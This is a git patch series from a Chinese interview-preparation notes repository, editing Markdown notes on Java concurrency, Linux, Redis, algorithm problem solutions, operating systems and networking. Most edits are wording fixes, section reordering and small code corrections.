From 8dfa8ab7d2b3bde5685389e0ccf45efb77481db2 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Wed, 25 Jul 2018 23:35:26 +0800
Subject: [PATCH 01/87] auto commit

---
 notes/Java 基础.md                            |   1 -
 notes/Java 并发.md                            |  20 ++--
 notes/Linux.md                                |  14 ++-
 notes/Redis.md                                |  72 ++++++------
 notes/剑指 offer 题解.md                      | 111 +++++++++++-------
 notes/计算机操作系统.md                       |   2 +-
 notes/计算机网络.md                           |  22 ++--
 pics/026d3cb4-67f7-4a83-884d-8032f57ec446.png | Bin 0 -> 12288 bytes
 8 files changed, 138 insertions(+), 104 deletions(-)
 create mode 100644 pics/026d3cb4-67f7-4a83-884d-8032f57ec446.png

diff --git a/notes/Java 基础.md b/notes/Java 基础.md
index bdd13aff..907eea00 100644
--- a/notes/Java 基础.md	
+++ b/notes/Java 基础.md	
@@ -1177,7 +1177,6 @@ Java 注解是附加在代码中的一些元信息，用于一些工具在编译
 - Java 支持自动垃圾回收，而 C++ 需要手动回收。
 - Java 不支持多重继承，只能通过实现多个接口来达到相同目的，而 C++ 支持多重继承。
 - Java 不支持操作符重载，虽然可以对两个 String 对象支持加法运算，但是这是语言内置支持的操作，不属于操作符重载，而 C++ 可以。
-- Java 内置了线程的支持，而 C++ 需要依靠第三方库。
 - Java 的 goto 是保留字，但是不可用，C++ 可以使用 goto。
 - Java 不支持条件编译，C++ 通过 #ifdef #ifndef 等预处理命令从而实现条件编译。
 
diff --git a/notes/Java 并发.md b/notes/Java 并发.md
index 800796db..ab3528f2 100644
--- a/notes/Java 并发.md	
+++ b/notes/Java 并发.md	
@@ -499,7 +499,7 @@ public synchronized static void fun() {
 
 ## ReentrantLock
 
-ReentrantLock 是 java.util.concurrent（J.U.C）包中的锁.
+ReentrantLock 是 java.util.concurrent（J.U.C）包中的锁。
 
 ```java
 public class LockExample {
@@ -952,7 +952,7 @@ produce..produce..consume..consume..produce..consume..produce..consume..produce.
 
 ```java
 public class ForkJoinExample extends RecursiveTask<Integer> {
-    private final int threhold = 5;
+    private final int threshold = 5;
     private int first;
     private int last;
 
@@ -964,7 +964,7 @@ public class ForkJoinExample extends RecursiveTask<Integer> {
     @Override
     protected Integer compute() {
         int result = 0;
-        if (last - first <= threhold) {
+        if (last - first <= threshold) {
             // 任务足够小则直接计算
             for (int i = first; i <= last; i++) {
                 result += i;
@@ -1134,7 +1134,7 @@ public static void main(String[] args) throws InterruptedException {
 1000
 ```
 
-除了使用原子类之外，也可以使用 synchronized 互斥锁来保证操作的完整性，它对应的内存间交互操作为：lock 和 unlock，在虚拟机实现上对应的字节码指令为 monitorenter 和 monitorexit。
+除了使用原子类之外，也可以使用 synchronized 互斥锁来保证操作的原子性。它对应的内存间交互操作为：lock 和 unlock，在虚拟机实现上对应的字节码指令为 monitorenter 和 monitorexit。
 
 ```java
 public class AtomicSynchronizedExample {
@@ -1176,9 +1176,13 @@ public static void main(String[] args) throws InterruptedException {
 
 可见性指当一个线程修改了共享变量的值，其它线程能够立即得知这个修改。Java 内存模型是通过在变量修改后将新值同步回主内存，在变量读取前从主内存刷新变量值来实现可见性的。
 
-volatile 可保证可见性。synchronized 也能够保证可见性，对一个变量执行 unlock 操作之前，必须把变量值同步回主内存。final 关键字也能保证可见性：被 final 关键字修饰的字段在构造器中一旦初始化完成，并且没有发生 this 逃逸（其它线程可以通过 this 引用访问到初始化了一半的对象），那么其它线程就能看见 final 字段的值。
+主要有有三种实现可见性的方式：
 
-对前面的线程不安全示例中的 cnt 变量用 volatile 修饰，不能解决线程不安全问题，因为 volatile 并不能保证操作的原子性。
+- volatile
+- synchronized，对一个变量执行 unlock 操作之前，必须把变量值同步回主内存。
+- final，被 final 关键字修饰的字段在构造器中一旦初始化完成，并且没有发生 this 逃逸（其它线程通过 this 引用访问到初始化了一半的对象），那么其它线程就能看见 final 字段的值。
+
+对前面的线程不安全示例中的 cnt 变量使用 volatile 修饰，不能解决线程不安全问题，因为 volatile 并不能保证操作的原子性。
 
 ### 3. 有序性
 
@@ -1662,9 +1666,9 @@ JDK 1.6 引入了偏向锁和轻量级锁，从而让锁拥有了四个状态：
 
 - 缩小同步范围，例如对于 synchronized，应该尽量使用同步块而不是同步方法。
 
-- 多用同步类少用 wait() 和 notify()。首先，CountDownLatch, Semaphore, CyclicBarrier 和 Exchanger 这些同步类简化了编码操作，而用 wait() 和 notify() 很难实现对复杂控制流的控制。其次，这些类是由最好的企业编写和维护，在后续的 JDK 中它们还会不断优化和完善，使用这些更高等级的同步工具你的程序可以不费吹灰之力获得优化。
+- 多用同步类少用 wait() 和 notify()。首先，CountDownLatch, CyclicBarrier, Semaphore 和 Exchanger 这些同步类简化了编码操作，而用 wait() 和 notify() 很难实现对复杂的控制流；其次，这些同步类是由最好的企业编写和维护，在后续的 JDK 中还会不断优化和完善，使用这些更高等级的同步工具你的程序可以不费吹灰之力获得优化。
 
-- 多用并发集合少用同步集合。并发集合比同步集合的可扩展性更好，例如应该使用 ConcurrentHashMap 而不是 Hashtable。
+- 多用并发集合少用同步集合，例如应该使用 ConcurrentHashMap 而不是 Hashtable。
 
 - 使用本地变量和不可变类来保证线程安全。
 
diff --git a/notes/Linux.md b/notes/Linux.md
index 27094e5c..705b9b0d 100644
--- a/notes/Linux.md
+++ b/notes/Linux.md
@@ -871,7 +871,9 @@ $ ls -al /etc | less
 
 ## 提取指令
 
-cut 对数据进行切分，取出想要的部分。切分过程一行一行地进行。
+cut 对数据进行切分，取出想要的部分。
+
+切分过程一行一行地进行。
 
 ```html
 $ cut
@@ -891,7 +893,7 @@ root pts/1 192.168.201.254 Thu Feb 5 22:37 - 23:53 (01:16)
 $ last | cut -d ' ' -f 1
 ```
 
-示例 2：将 export 输出的讯息，取出第 12 字符以后的所有字符串。
+示例 2：将 export 输出的信息，取出第 12 字符以后的所有字符串。
 
 ```html
 $ export
@@ -906,7 +908,7 @@ $ export | cut -c 12
 
 ## 排序指令
 
-**sort**  进行排序。
+**sort**  用于排序。
 
 ```html
 $ sort [-fbMnrtuk] [file or stdin]
@@ -1204,7 +1206,7 @@ pid_t wait(int *status)
 
 如果成功，返回被收集的子进程的进程 ID；如果调用进程没有子进程，调用就会失败，此时返回 -1，同时 errno 被置为 ECHILD。
 
-参数 status 用来保存被收集的子进程退出时的一些状态，如果我们对这个子进程是如何死掉的毫不在意，只想把这个子进程消灭掉，可以设置这个参数为 NULL：
+参数 status 用来保存被收集的子进程退出时的一些状态，如果对这个子进程是如何死掉的毫不在意，只想把这个子进程消灭掉，可以设置这个参数为 NULL：
 
 ```c
 pid = wait(NULL);
@@ -1218,7 +1220,7 @@ pid_t waitpid(pid_t pid, int *status, int options)
 
 作用和 wait() 完全相同，但是多了两个可由用户控制的参数 pid 和 options。
 
-pid 参数指示一个子进程的 ID，表示只关心这个子进程的退出 SIGCHLD 信号。如果 pid=-1 时，那么和 wait() 作用相同，都是关心所有子进程退出的 SIGCHLD 信号。
+pid 参数指示一个子进程的 ID，表示只关心这个子进程退出的 SIGCHLD 信号。如果 pid=-1 时，那么和 wait() 作用相同，都是关心所有子进程退出的 SIGCHLD 信号。
 
 options 参数主要有 WNOHANG 和 WUNTRACED 两个选项，WNOHANG 可以使 waitpid() 调用变成非阻塞的，也就是说它会立即返回，父进程可以继续执行其它任务。
 
@@ -1238,7 +1240,7 @@ options 参数主要有 WNOHANG 和 WUNTRACED 两个选项，WNOHANG 可以使 w
 
 系统所能使用的进程号是有限的，如果大量的产生僵尸进程，将因为没有可用的进程号而导致系统不能产生新的进程。
 
-要消灭系统中大量的僵尸进程，只需要将其父进程杀死，此时所有的僵尸进程就会变成孤儿进程，从而被 init 所收养，这样 init 就会释放所有的僵死进程所占有的资源，从而结束僵尸进程。
+要消灭系统中大量的僵尸进程，只需要将其父进程杀死，此时僵尸进程就会变成孤儿进程，从而被 init 所收养，这样 init 就会释放所有的僵死进程所占有的资源，从而结束僵尸进程。
 
 # 参考资料
 
diff --git a/notes/Redis.md b/notes/Redis.md
index 8bd8aed0..21840399 100644
--- a/notes/Redis.md
+++ b/notes/Redis.md
@@ -25,7 +25,7 @@
 * [六、键的过期时间](#六键的过期时间)
 * [七、数据淘汰策略](#七数据淘汰策略)
 * [八、持久化](#八持久化)
-    * [快照持久化](#快照持久化)
+    * [RDB 持久化](#rdb-持久化)
     * [AOF 持久化](#aof-持久化)
 * [九、发布与订阅](#九发布与订阅)
 * [十、事务](#十事务)
@@ -210,17 +210,7 @@ OK
 
 ## 字典
 
-以下是 Redis 字典的主要数据结构，从上往下分析，一个 dict 有两个 dictht，一个 dictht 有一个 dictEntry 数组，每个 dictEntry 有 next 指针因此是一个链表结构。从上面的分析可以看出 Redis 的字典是一个基于拉链法解决冲突的哈希表结构。
-
-```c
-typedef struct dict {
-    dictType *type;
-    void *privdata;
-    dictht ht[2];
-    long rehashidx; /* rehashing not in progress if rehashidx == -1 */
-    unsigned long iterators; /* number of iterators currently running */
-} dict;
-```
+dictht 是一个散列表结构，使用拉链法保存哈希冲突的 dictEntry。
 
 ```c
 /* This is our hash table structure. Every dictionary has two of this as we
@@ -246,11 +236,21 @@ typedef struct dictEntry {
 } dictEntry;
 ```
 
-哈希表需要具备扩容能力，在扩容时就需要对每个键值对进行 rehash。dict 有两个 dictht，在 rehash 的时候会将一个 dictht 上的键值对重新插入另一个 dictht 上面，完成之后释放空间并交换两个 dictht 的角色。
+Redis 的字典 dict 中包含两个哈希表 dictht，这是为了方便进行 rehash 操作。在扩容时，将其中一个 dictht 上的键值对 rehash 到另一个 dictht 上面，完成之后释放空间并交换两个 dictht 的角色。
+
+```c
+typedef struct dict {
+    dictType *type;
+    void *privdata;
+    dictht ht[2];
+    long rehashidx; /* rehashing not in progress if rehashidx == -1 */
+    unsigned long iterators; /* number of iterators currently running */
+} dict;
+```
 
 rehash 操作不是一次性完成，而是采用渐进方式，这是为了避免一次性执行过多的 rehash 操作给服务器带来过大的负担。
 
-渐进式 rehash 通过记录 dict 的 rehashidx 完成，它从 0 开始然后每执行一次 rehash 都会递增。例如在一次 rehash 中，要把 dict[0] rehash 到 dict[1]，这一次会把 dict[0] 上 table[rehashidx] 的键值对 rehash 到 dict[1] 上，dict[0] 的 table[rehashidx] 指向 null，并令 rehashidx++。
+渐进式 rehash 通过记录 dict 的 rehashidx 完成，它从 0 开始，然后每执行一次 rehash 都会递增。例如在一次 rehash 中，要把 dict[0] rehash 到 dict[1]，这一次会把 dict[0] 上 table[rehashidx] 的键值对 rehash 到 dict[1] 上，dict[0] 的 table[rehashidx] 指向 null，并令 rehashidx++。
 
 在 rehash 期间，每次对字典执行添加、删除、查找或者更新操作时，都会执行一次渐进式 rehash。
 
@@ -320,13 +320,13 @@ int dictRehash(dict *d, int n) {
 
 <div align="center"> <img src="../pics//beba612e-dc5b-4fc2-869d-0b23408ac90a.png"/> </div><br>
 
-在查找时，从上层指针开始查找，找到对应的区间之后再到下一层去查找。例如下图演示了查找 22 的过程。
+在查找时，从上层指针开始查找，找到对应的区间之后再到下一层去查找。下图演示了查找 22 的过程。
 
 <div align="center"> <img src="../pics//0ea37ee2-c224-4c79-b895-e131c6805c40.png"/> </div><br>
 
 与红黑树等平衡树相比，跳跃表具有以下优点：
 
-- 插入速度非常快速，因为不需要平衡树的旋转操作；
+- 插入速度非常快速，因为不需要进行旋转等操作来维护平衡性；
 - 更容易实现；
 - 支持无锁操作。
 
@@ -336,7 +336,7 @@ int dictRehash(dict *d, int n) {
 
 可以对 String 进行自增自减运算，从而实现计数器功能。
 
-例如对于网站访问量，如果使用 MySQL 数据库进行存储，那么每访问一次网站就要对磁盘进行读写操作。而对 Redis 这种内存型数据库的读写性能非常高，很适合存储这种频繁读写的计数量。
+Redis 这种内存型数据库的读写性能非常高，很适合存储频繁读写的计数量。
 
 ## 缓存
 
@@ -346,7 +346,7 @@ int dictRehash(dict *d, int n) {
 
 例如 DNS 记录就很适合使用 Redis 进行存储。
 
-查找表和缓存类似，也是利用了 Redis 快速的查找特性。但是查找表的内容不能失效，而缓存的内容可以失效。
+查找表和缓存类似，也是利用了 Redis 快速的查找特性。但是查找表的内容不能失效，而缓存的内容可以失效，因为缓存不作为可靠的数据来源。
 
 ## 消息队列
 
@@ -356,27 +356,29 @@ List 是一个双向链表，可以通过 lpop 和 lpush 写入和读取消息
 
 ## 会话缓存
 
-在分布式场景下具有多个应用服务器，可以使用 Redis 来统一存储这些应用服务器的会话信息，使得某个应用服务器宕机时不会丢失会话信息，从而保证高可用。
+在分布式场景下具有多个应用服务器，可以使用 Redis 来统一存储这些应用服务器的会话信息。
+
+当应用服务器不再存储用户的会话信息，也就不再具有状态，一个用户可以请求任意一个应用服务器。
 
 ## 分布式锁实现
 
-在分布式场景下，无法使用单机环境下的锁实现。当多个节点上的进程都需要获取同一个锁时，就需要使用分布式锁来进行同步。
+在分布式场景下，无法使用单机环境下的锁来对多个节点上的进程进行同步。
 
-除了可以使用 Redis 自带的 SETNX 命令实现分布式锁之外，还可以使用官方提供的 RedLock 分布式锁实现。
+可以使用 Reids 自带的 SETNX 命令实现分布式锁，除此之外，还可以使用官方提供的 RedLock 分布式锁实现。
 
 ## 其它
 
-Set 可以实现交集、并集等操作，例如共同好友功能。
+Set 可以实现交集、并集等操作，从而实现共同好友等功能。
 
-ZSet 可以实现有序性操作，例如排行榜功能。
+ZSet 可以实现有序性操作，从而实现排行榜等功能。
 
 # 五、Redis 与 Memcached
 
-两者都是非关系型内存键值数据库。有以下主要不同：
+两者都是非关系型内存键值数据库，主要有以下不同：
 
 ## 数据类型
 
-Memcached 仅支持字符串类型，而 Redis 支持五种不同种类的数据类型，使得它可以更灵活地解决问题。
+Memcached 仅支持字符串类型，而 Redis 支持五种不同的数据类型，可以更灵活地解决问题。
 
 ## 数据持久化
 
@@ -384,15 +386,15 @@ Redis 支持两种持久化策略：RDB 快照和 AOF 日志，而 Memcached 不
 
 ## 分布式
 
-Memcached 不支持分布式，只能通过在客户端使用一致性哈希这样的分布式算法来实现分布式存储，这种方式在存储和查询时都需要先在客户端计算一次数据所在的节点。
+Memcached 不支持分布式，只能通过在客户端使用一致性哈希来实现分布式存储，这种方式在存储和查询时都需要先在客户端计算一次数据所在的节点。
 
 Redis Cluster 实现了分布式的支持。
 
 ## 内存管理机制
 
-在 Redis 中，并不是所有数据都一直存储在内存中，可以将一些很久没用的 value 交换到磁盘。而 Memcached 的数据则会一直在内存中。
+- 在 Redis 中，并不是所有数据都一直存储在内存中，可以将一些很久没用的 value 交换到磁盘，而 Memcached 的数据则会一直在内存中。
 
-Memcached 将内存分割成特定长度的块来存储数据，以完全解决内存碎片的问题，但是这种方式会使得内存的利用率不高，例如块的大小为 128 bytes，只存储 100 bytes 的数据，那么剩下的 28 bytes 就浪费掉了。
+- Memcached 将内存分割成特定长度的块来存储数据，以完全解决内存碎片的问题，但是这种方式会使得内存的利用率不高，例如块的大小为 128 bytes，只存储 100 bytes 的数据，那么剩下的 28 bytes 就浪费掉了。
 
 # 六、键的过期时间
 
@@ -402,7 +404,9 @@ Redis 可以为每个键设置过期时间，当键过期时，会自动删除
 
 # 七、数据淘汰策略
 
-可以设置内存最大使用量，当内存使用量超过时施行淘汰策略，具体有 6 种淘汰策略。
+可以设置内存最大使用量，当内存使用量超出时，会施行数据淘汰策略。
+
+Reids 具体有 6 种淘汰策略：
 
 | 策略 | 描述 |
 | :--: | :--: |
@@ -413,15 +417,15 @@ Redis 可以为每个键设置过期时间，当键过期时，会自动删除
 | allkeys-random | 从所有数据集中任意选择数据进行淘汰 |
 | noeviction | 禁止驱逐数据 |
 
-如果使用 Redis 来缓存数据时，要保证所有数据都是热点数据，可以将内存最大使用量设置为热点数据占用的内存量，然后启用 allkeys-lru 淘汰策略，将最近最少使用的数据淘汰。
+作为内存数据库，出于对性能和内存消耗的考虑，Redis 的淘汰算法实际实现上并非针对所有 key，而是抽样一小部分 key 从中选出被淘汰 key。
 
-作为内存数据库，出于对性能和内存消耗的考虑，Redis 的淘汰算法（LRU、TTL）实际实现上并非针对所有 key，而是抽样一小部分 key 从中选出被淘汰 key。
+使用 Redis 缓存数据时，为了提高缓存命中率，需要保证缓存数据都是热点数据。可以将内存最大使用量设置为热点数据占用的内存量，然后启用 allkeys-lru 淘汰策略，将最近最少使用的数据淘汰。
 
 # 八、持久化
 
 Redis 是内存型数据库，为了保证数据在断电后不会丢失，需要将内存中的数据持久化到硬盘上。
 
-## 快照持久化
+## RDB 持久化
 
 将某个时间点的所有数据都存放到硬盘上。
 
@@ -435,9 +439,7 @@ Redis 是内存型数据库，为了保证数据在断电后不会丢失，需
 
 将写命令添加到 AOF 文件（Append Only File）的末尾。
 
-对硬盘的文件进行写入时，写入的内容首先会被存储到缓冲区，然后由操作系统决定什么时候将该内容同步到硬盘，用户可以调用 file.flush() 方法请求操作系统尽快将缓冲区存储的数据同步到硬盘。可以看出写入文件的数据不会立即同步到硬盘上，在将写命令添加到 AOF 文件时，要根据需求来保证何时同步到硬盘上。
-
-有以下同步选项：
+使用 AOF 持久化需要设置同步选项，从而确保写命令什么时候会同步到磁盘文件上。这是因为对硬盘的文件进行写入并不会马上将内容同步到磁盘文件上，而是先存储到缓冲区，然后由操作系统决定什么时候同步到硬盘。有以下同步选项：
 
 | 选项 | 同步频率 |
 | :--: | :--: |
diff --git a/notes/剑指 offer 题解.md b/notes/剑指 offer 题解.md
index 7ff73846..a7b6db99 100644
--- a/notes/剑指 offer 题解.md	
+++ b/notes/剑指 offer 题解.md	
@@ -90,12 +90,20 @@
 
 ## 题目描述
 
-在一个长度为 n 的数组里的所有数字都在 0 到 n-1 的范围内。数组中某些数字是重复的，但不知道有几个数字是重复的，也不知道每个数字重复几次。请找出数组中任意一个重复的数字。例如，如果输入长度为 7 的数组 {2, 3, 1, 0, 2, 5}，那么对应的输出是第一个重复的数字 2。
+在一个长度为 n 的数组里的所有数字都在 0 到 n-1 的范围内。数组中某些数字是重复的，但不知道有几个数字是重复的，也不知道每个数字重复几次。请找出数组中任意一个重复的数字。
 
-要求复杂度为 O(N) + O(1)，也就是时间复杂度 O(N)，空间复杂度 O(1)。因此不能使用排序的方法，也不能使用额外的标记数组。牛客网讨论区这一题的首票答案使用 nums[i] + length 来将元素标记，这么做会有加法溢出问题。
+```html
+Input:
+{2, 3, 1, 0, 2, 5}
+
+Output:
+2
+```
 
 ## 解题思路
 
+要求复杂度为 O(N) + O(1)，也就是时间复杂度 O(N)，空间复杂度 O(1)。因此不能使用排序的方法，也不能使用额外的标记数组。牛客网讨论区这一题的首票答案使用 nums[i] + length 来将元素标记，这么做会有加法溢出问题。
+
 这种数组元素在 [0, n-1] 范围内的问题，可以将值为 i 的元素放到第 i 个位置上。
 
 以 (2, 3, 1, 0, 2, 5) 为例：
@@ -158,7 +166,11 @@ Given target = 20, return false.
 
 ## 解题思路
 
-从右上角开始查找。因为矩阵中的一个数，它左边的数都比它小，下边的数都比它大。因此，从右上角开始查找，就可以根据 target 和当前元素的大小关系来缩小查找区间。
+从右上角开始查找。矩阵中的一个数，它左边的数都比它小，下边的数都比它大。因此，从右上角开始查找，就可以根据 target 和当前元素的大小关系来缩小查找区间。
+
+当前元素的查找区间为左下角的所有元素，例如元素 12 的查找区间如下：
+
+<div align="center"> <img src="../pics//026d3cb4-67f7-4a83-884d-8032f57ec446.png" width="200"/> </div><br>
 
 复杂度：O(M + N) + O(1)
 
@@ -261,25 +273,14 @@ public ArrayList<Integer> printListFromTailToHead(ListNode listNode) {
 }
 ```
 
-### 使用 Collections.reverse()
-
-```java
-public ArrayList<Integer> printListFromTailToHead(ListNode listNode) {
-    ArrayList<Integer> ret = new ArrayList<>();
-    while (listNode != null) {
-        ret.add(listNode.val);
-        listNode = listNode.next;
-    }
-    Collections.reverse(ret);
-    return ret;
-}
-```
-
 ### 使用头插法
 
 利用链表头插法为逆序的特点。
 
-头结点和第一个节点的区别：头结点是在头插法中使用的一个额外节点，这个节点不存储值；第一个节点就是链表的第一个真正存储值的节点。
+头结点和第一个节点的区别：
+
+- 头结点是在头插法中使用的一个额外节点，这个节点不存储值；
+- 第一个节点就是链表的第一个真正存储值的节点。
 
 ```java
 public ArrayList<Integer> printListFromTailToHead(ListNode listNode) {
@@ -302,6 +303,20 @@ public ArrayList<Integer> printListFromTailToHead(ListNode listNode) {
 }
 ```
 
+### 使用 Collections.reverse()
+
+```java
+public ArrayList<Integer> printListFromTailToHead(ListNode listNode) {
+    ArrayList<Integer> ret = new ArrayList<>();
+    while (listNode != null) {
+        ret.add(listNode.val);
+        listNode = listNode.next;
+    }
+    Collections.reverse(ret);
+    return ret;
+}
+```
+
 # 7. 重建二叉树
 
 [NowCoder](https://www.nowcoder.com/practice/8a19cbe657394eeaac2f6ea9b0f6fcf6?tpId=13&tqId=11157&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
@@ -322,22 +337,23 @@ inorder =  [9,3,15,20,7]
 前序遍历的第一个值为根节点的值，使用这个值将中序遍历结果分成两部分，左部分为树的左子树中序遍历结果，右部分为树的右子树中序遍历的结果。
 
 ```java
-private Map<Integer, Integer> inOrderNumsIndexs = new HashMap<>(); // 缓存中序遍历数组的每个值对应的索引
+// 缓存中序遍历数组的每个值对应的索引
+private Map<Integer, Integer> inOrderNumsIndexs = new HashMap<>();
 
 public TreeNode reConstructBinaryTree(int[] pre, int[] in) {
     for (int i = 0; i < in.length; i++)
         inOrderNumsIndexs.put(in[i], i);
-    return reConstructBinaryTree(pre, 0, pre.length - 1, in, 0, in.length - 1);
+    return reConstructBinaryTree(pre, 0, pre.length - 1, 0, in.length - 1);
 }
 
-private TreeNode reConstructBinaryTree(int[] pre, int preL, int preR, int[] in, int inL, int inR) {
+private TreeNode reConstructBinaryTree(int[] pre, int preL, int preR, int inL, int inR) {
     if (preL > preR)
         return null;
     TreeNode root = new TreeNode(pre[preL]);
     int inIndex = inOrderNumsIndexs.get(root.val);
     int leftTreeSize = inIndex - inL;
-    root.left = reConstructBinaryTree(pre, preL + 1, preL + leftTreeSize, in, inL, inL + leftTreeSize - 1);
-    root.right = reConstructBinaryTree(pre, preL + leftTreeSize + 1, preR, in, inL + leftTreeSize + 1, inR);
+    root.left = reConstructBinaryTree(pre, preL + 1, preL + leftTreeSize, inL, inL + leftTreeSize - 1);
+    root.right = reConstructBinaryTree(pre, preL + leftTreeSize + 1, preR, inL + leftTreeSize + 1, inR);
     return root;
 }
 ```
@@ -350,16 +366,6 @@ private TreeNode reConstructBinaryTree(int[] pre, int preL, int preR, int[] in,
 
 给定一个二叉树和其中的一个结点，请找出中序遍历顺序的下一个结点并且返回。注意，树中的结点不仅包含左右子结点，同时包含指向父结点的指针。
 
-## 解题思路
-
-① 如果一个节点的右子树不为空，那么该节点的下一个节点是右子树的最左节点；
-
-<div align="center"> <img src="../pics//cb0ed469-27ab-471b-a830-648b279103c8.png" width="250"/> </div><br>
-
-② 否则，向上找第一个左链接指向的树包含该节点的祖先节点。
-
-<div align="center"> <img src="../pics//e143f6da-d114-4ba4-8712-f65299047fa2.png" width="250"/> </div><br>
-
 ```java
 public class TreeLinkNode {
     int val;
@@ -373,6 +379,16 @@ public class TreeLinkNode {
 }
 ```
 
+## 解题思路
+
+① 如果一个节点的右子树不为空，那么该节点的下一个节点是右子树的最左节点；
+
+<div align="center"> <img src="../pics//cb0ed469-27ab-471b-a830-648b279103c8.png" width="250"/> </div><br>
+
+② 否则，向上找第一个左链接指向的树包含该节点的祖先节点。
+
+<div align="center"> <img src="../pics//e143f6da-d114-4ba4-8712-f65299047fa2.png" width="250"/> </div><br>
+
 ```java
 public TreeLinkNode GetNext(TreeLinkNode pNode) {
     if (pNode.right != null) {
@@ -398,7 +414,7 @@ public TreeLinkNode GetNext(TreeLinkNode pNode) {
 
 ## 题目描述
 
-用两个栈来实现一个队列，完成队列的 Push 和 Pop 操作。队列中的元素为 int 类型。
+用两个栈来实现一个队列，完成队列的 Push 和 Pop 操作。
 
 ## 解题思路
 
@@ -442,7 +458,7 @@ public int pop() throws Exception {
 
 <div align="center"> <img src="../pics//a0df8edc-581b-4977-95c2-d7025795b899.png" width="300"/> </div><br>
 
-递归方法是将一个问题划分成多个子问题求解，动态规划也是如此，但是动态规划会把子问题的解缓存起来，避免重复求解子问题。
+递归是将一个问题划分成多个子问题求解，动态规划也是如此，但是动态规划会把子问题的解缓存起来，从而避免重复求解子问题。
 
 ```java
 public int Fibonacci(int n) {
@@ -521,11 +537,11 @@ public int JumpFloor(int n) {
 
 ```java
 public int JumpFloor(int n) {
-    if (n <= 1)
+    if (n <= 2)
         return n;
-    int pre2 = 0, pre1 = 1;
-    int result = 0;
-    for (int i = 1; i <= n; i++) {
+    int pre2 = 1, pre1 = 2;
+    int result = 1;
+    for (int i = 2; i < n; i++) {
         result = pre2 + pre1;
         pre2 = pre1;
         pre1 = result;
@@ -613,6 +629,8 @@ public int RectCover(int n) {
 
 因为 h 的赋值表达式为 h = m，因此循环体的循环条件应该为 l < h，详细解释请见 [Leetcode 题解](https://github.com/CyC2018/Interview-Notebook/blob/master/notes/Leetcode%20%E9%A2%98%E8%A7%A3.md#%E4%BA%8C%E5%88%86%E6%9F%A5%E6%89%BE) 二分查找部分。
 
+但是如果出现 nums[l] == nums[m] == nums[h]，那么此时无法确定解在哪个区间，因此需要切换到顺序查找。
+
 复杂度：O(logN) + O(1)
 
 ```java
@@ -622,13 +640,22 @@ public int minNumberInRotateArray(int[] nums) {
     int l = 0, h = nums.length - 1;
     while (l < h) {
         int m = l + (h - l) / 2;
-        if (nums[m] <= nums[h])
+        if (nums[l] == nums[m] && nums[m] == nums[h])
+            return minNumber(nums, l, h);
+        else if (nums[m] <= nums[h])
             h = m;
         else
             l = m + 1;
     }
     return nums[l];
 }
+
+private int minNumber(int[] nums, int l, int h) {
+    for (int i = l; i < h; i++)
+        if (nums[i] > nums[i + 1])
+            return nums[i + 1];
+    return nums[l];
+}
 ```
 
 # 12. 矩阵中的路径
@@ -2022,7 +2049,7 @@ public int getDigitAtIndex(int index)
 {
     if (index < 0)
         return -1;
-    int place = 1;  // 位数，1 表示个位，2 表示 十位...
+    int place = 1;  // 1 表示个位，2 表示 十位...
     while (true) {
         int amount = getAmountOfPlace(place);
         int totalAmount = amount * place;
@@ -2640,7 +2667,7 @@ private void swap(char[] c, int i, int j)
 
 ## 解题思路
 
-将 "abcXYZdef" 旋转左移三位，可以先将 "abc" 和 "XYZdef" 分别旋转，得到 "cbafedZYX"，然后再把整个字符串旋转得到 "XYZdefabc"。
+先将 "abc" 和 "XYZdef" 分别翻转，得到 "cbafedZYX"，然后再把整个字符串翻转得到 "XYZdefabc"。
 
 ```java
 public String LeftRotateString(String str, int n)
diff --git a/notes/计算机操作系统.md b/notes/计算机操作系统.md
index 4a4077d3..52c74dd7 100644
--- a/notes/计算机操作系统.md
+++ b/notes/计算机操作系统.md
@@ -352,7 +352,7 @@ end monitor;
 
 管程引入了  **条件变量**  以及相关的操作：**wait()** 和 **signal()** 来实现同步操作。对条件变量执行 wait() 操作会导致调用进程阻塞，把管程让出来给另一个进程持有。signal() 操作用于唤醒被阻塞的进程。
 
-<font size=3> **使用管程实现生成者-消费者问题** </font><br>
+<font size=3> **使用管程实现生产者-消费者问题** </font><br>
 
 ```pascal
 // 管程
diff --git a/notes/计算机网络.md b/notes/计算机网络.md
index 8603393c..f1460844 100644
--- a/notes/计算机网络.md
+++ b/notes/计算机网络.md
@@ -139,25 +139,17 @@
 
 -  **物理层** ：考虑的是怎样在传输媒体上传输数据比特流，而不是指具体的传输媒体。物理层的作用是尽可能屏蔽传输媒体和通信手段的差异，使数据链路层感觉不到这些差异。
 
-### 2. 七层协议
+### 2. OSI
 
 其中表示层和会话层用途如下：
 
--  **表示层** ：数据压缩、加密以及数据描述。这使得应用程序不必担心在各台主机中表示/存储的内部格式不同的问题。
+-  **表示层** ：数据压缩、加密以及数据描述，这使得应用程序不必担心在各台主机中数据内部格式不同的问题。
 
 -  **会话层** ：建立及管理会话。
 
 五层协议没有表示层和会话层，而是将这些功能留给应用程序开发者处理。
 
-### 3. 数据在各层之间的传递过程
-
-在向下的过程中，需要添加下层协议所需要的首部或者尾部，而在向上的过程中不断拆开首部和尾部。
-
-路由器只有下面三层协议，因为路由器位于网络核心中，不需要为进程或者应用程序提供服务，因此也就不需要运输层和应用层。
-
-<div align="center"> <img src="../pics//ac106e7e-489a-4082-abd9-dabebe48394c.jpg" width="800"/> </div><br>
-
-### 4. TCP/IP
+### 3. TCP/IP
 
 它只有四层，相当于五层协议中数据链路层和物理层合并为网络接口层。
 
@@ -169,6 +161,14 @@ TCP/IP 协议族是一种沙漏形状，中间小两边大，IP 协议在其中
 
 <div align="center"> <img src="../pics//d4eef1e2-5703-4ca4-82ab-8dda93d6b81f.png" width="500"/> </div><br>
 
+### 4. 数据在各层之间的传递过程
+
+在向下的过程中，需要添加下层协议所需要的首部或者尾部，而在向上的过程中不断拆开首部和尾部。
+
+路由器只有下面三层协议，因为路由器位于网络核心中，不需要为进程或者应用程序提供服务，因此也就不需要运输层和应用层。
+
+<div align="center"> <img src="../pics//ac106e7e-489a-4082-abd9-dabebe48394c.jpg" width="800"/> </div><br>
+
 # 二、物理层
 
 ## 通信方式
diff --git a/pics/026d3cb4-67f7-4a83-884d-8032f57ec446.png b/pics/026d3cb4-67f7-4a83-884d-8032f57ec446.png
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From 28c58a4c7413aae09fc11fea89f5730a3d2f2a98 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Wed, 25 Jul 2018 23:38:27 +0800
Subject: [PATCH 02/87] auto commit

---
 notes/剑指 offer 题解.md | 2 +-
